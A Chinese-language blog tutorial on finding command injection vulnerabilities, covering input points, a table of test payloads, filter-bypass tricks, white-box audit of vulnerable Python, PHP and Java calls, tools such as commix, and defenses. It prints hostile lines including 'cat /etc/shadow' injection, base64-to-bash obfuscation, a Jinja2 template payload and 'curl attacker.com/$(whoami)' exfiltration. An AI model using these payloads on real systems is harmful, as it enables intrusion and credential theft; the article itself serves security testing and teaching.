如何发现命令执行漏洞?

挖掘命令执行漏洞的核心是:寻找应用程序中用户输入(如参数、表单、HTTP头)未经严格过滤或验证,就被直接传递给系统命令执行函数(如eval, system, exec, popen)的点,通过注入特殊字符(| & ; $() `)或命令测试其执行情况。

漏洞原理与危害

技术本质
当应用将用户输入未经净化直接拼接至系统命令(如system()exec())时,攻击者可通过注入操作符(、&&、)或反引号(`)附加恶意指令。
典型场景

如何发现命令执行漏洞?

  • Web应用:网络设备管理接口、CI/CD工具、内容管理系统(CMS)插件
  • 非Web场景:IoT设备固件、桌面软件配置功能

危害等级

  • 高危(CVSS 9.0+):直接获取服务器Shell权限
  • 横向威胁:可作为跳板攻击内网系统

黑盒测试挖掘流程

步骤1:识别输入点

✅ 显性输入点:
   - GET/POST参数(如`?cmd=ping+127.0.0.1`)
   - HTTP头部(User-Agent, X-Forwarded-For)
   - 文件上传功能(文件名解析)
✅ 隐性输入点:
   - 日志分析功能(读取文件路径)
   - 系统状态检查(ping/traceroute)

步骤2:注入测试向量

注入类型 测试Payload 适用场景
基础分隔符 ;id && whoami Linux/Unix系统
管道符 | cat /etc/passwd 命令链截断
反引号 `echo test` 内联命令执行
时间盲注 sleep 5 无回显场景
环境变量 ${PATH} 变量篡改

关键技巧

  • 使用双写绕过ls -la(过滤空格时)
  • 编码混淆base64 "id" | base64 -d | bash(绕过基础过滤)
  • 盲注检测:通过DNS外带数据(curl attacker.com/$(whoami)

步骤3:回显与错误分析

  • 成功特征
    • 返回系统命令结果(如uid=0(root)
    • 异常错误信息(sh: 1: invalid-command: not found
  • 无回显处理
    • 监听DNS请求(dnslog.cn
    • 触发延迟响应(ping -c 10 127.0.0.1

白盒审计核心策略

危险函数追踪

# Python高危函数
os.system("ping " + user_input)  # 直接拼接
subprocess.call(user_input, shell=True)  # Shell模式启用
# PHP高危函数
system($_GET['cmd']);
exec("nslookup " . $input);

数据流分析

  • 从用户输入源($_REQUESTInputStream)到危险函数的完整调用链
  • 检查过滤逻辑是否允许绕过:
    $input = str_replace(";", "", $_POST['ip']); 
    // 未过滤`&&` → 可注入`127.0.0.1 && reboot`

上下文逃逸检测

  • 文件路径注入:/dev/null; id → 被误解析为命令
  • 模板引擎滥用:{{config.__class__.__init__.__globals__['os'].system('id')}}(Jinja2)

自动化工具辅助

工具名称 用途 使用示例
Burp Suite 拦截修改请求测试注入 Intruder模块爆破命令分隔符
Commix 自动化命令注入检测 commix -u "http://target/?ip=127.0.0.1"
Semgrep 静态代码扫描 规则匹配os.system($VAR)
tcpdump 监听DNS外带流量 tcpdump -i eth0 port 53

工具局限:自动化工具易误报,需人工验证逻辑上下文。

如何发现命令执行漏洞?


经典漏洞案例

案例1:网络设备管理后台注入

  • 漏洞点:路由器Ping功能
    POST /ping.php HTTP/1.1
    Host: router.local
    ip=192.168.1.1; cat /etc/shadow
  • 利用结果:直接输出系统密码哈希

案例2:Java应用路径拼接漏洞

String cmd = "nslookup " + request.getParameter("domain");
Runtime.getRuntime().exec(cmd); // 未校验domain格式

注入Payload:example.com & calc.exe → 在Windows服务器弹出计算器


防御方案(开发者必读)

  1. 输入白名单
    • 仅允许预期字符(如IP地址:^[0-9.]+$
  2. 安全API调用
    • 使用参数化函数(Python:subprocess.run(['ping', ip], shell=False
  3. 最小权限原则

    运行服务的用户降权(非root)

  4. 沙箱隔离

    Docker容器化执行高危命令

    如何发现命令执行漏洞?


命令执行漏洞的挖掘需要结合输入点发现、上下文理解、绕过技巧三位一体,安全研究人员应遵循道德准则,所有测试需获得授权,防御的核心在于不信任用户输入,通过设计而非修补解决风险。

引用说明

  • OWASP Command Injection Guide (2025)
  • MITRE CWE-78: OS Command Injection
  • PortSwigger: Command Injection Vulnerabilities
  • SANS Institute: Secure Coding in Java/PHP

原创文章,发布者:酷盾叔,转转请注明出处:https://www.kd.cn/ask/17685.html

(0)
酷盾叔的头像酷盾叔
上一篇 2025年6月10日 04:29
下一篇 2025年6月10日 04:38

相关推荐

  • MySQL如何停止错误命令执行

    在MySQL中取消错误命令的方法:,1. 输入错误命令未执行时,立即输入\c并回车清除当前命令。,2. 若命令已开始执行:, – 命令行界面按Ctrl+C强制终止, – 或使用SHOW PROCESSLIST查找线程ID, – 执行KILL [线程ID]终止操作,3. 避免错误:输入分号前仔细检查语法,用\c可随时取消当前行输入。

    2025年6月13日
    100
  • CATIA接合命令使用技巧详解

    接合命令用于将多个点、线或面等几何元素合并成一个单一元素,在”操作”工具栏中找到该命令,选择需连接的元素后确认即可生成接合体,常用于简化模型或为后续操作准备。

    2025年6月2日
    900
  • 3dmax如何快速撤销当前命令?

    在3DMax中取消当前命令,可按下键盘左上角“Esc”键直接退出操作;若需撤销上一步骤,使用快捷键“Ctrl+Z”回退,右键点击视图空白区域或通过顶部菜单栏“编辑-撤销”均可实现操作取消。

    2025年5月29日
    500
  • Linux ldd命令使用教程?快速掌握!

    ldd命令用于显示Linux可执行程序或共享库所依赖的动态链接库列表及其路径位置,它会输出程序运行所需的每个共享库的名称和绝对路径。

    2025年6月2日
    400
  • at命令执行结果如何查询

    at命令执行结果查看方式:,1. 系统自动将结果发送至执行用户邮箱(通过mail命令查看),2. 使用sudo grep “atd” /var/log/syslog检查系统日志(日志路径可能为/var/log/messages),3. 执行时重定向输出到文件(如`at now +1min

    2025年6月8日
    300

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

联系我们

400-880-8834

在线咨询: QQ交谈

邮件:HI@E.KD.CN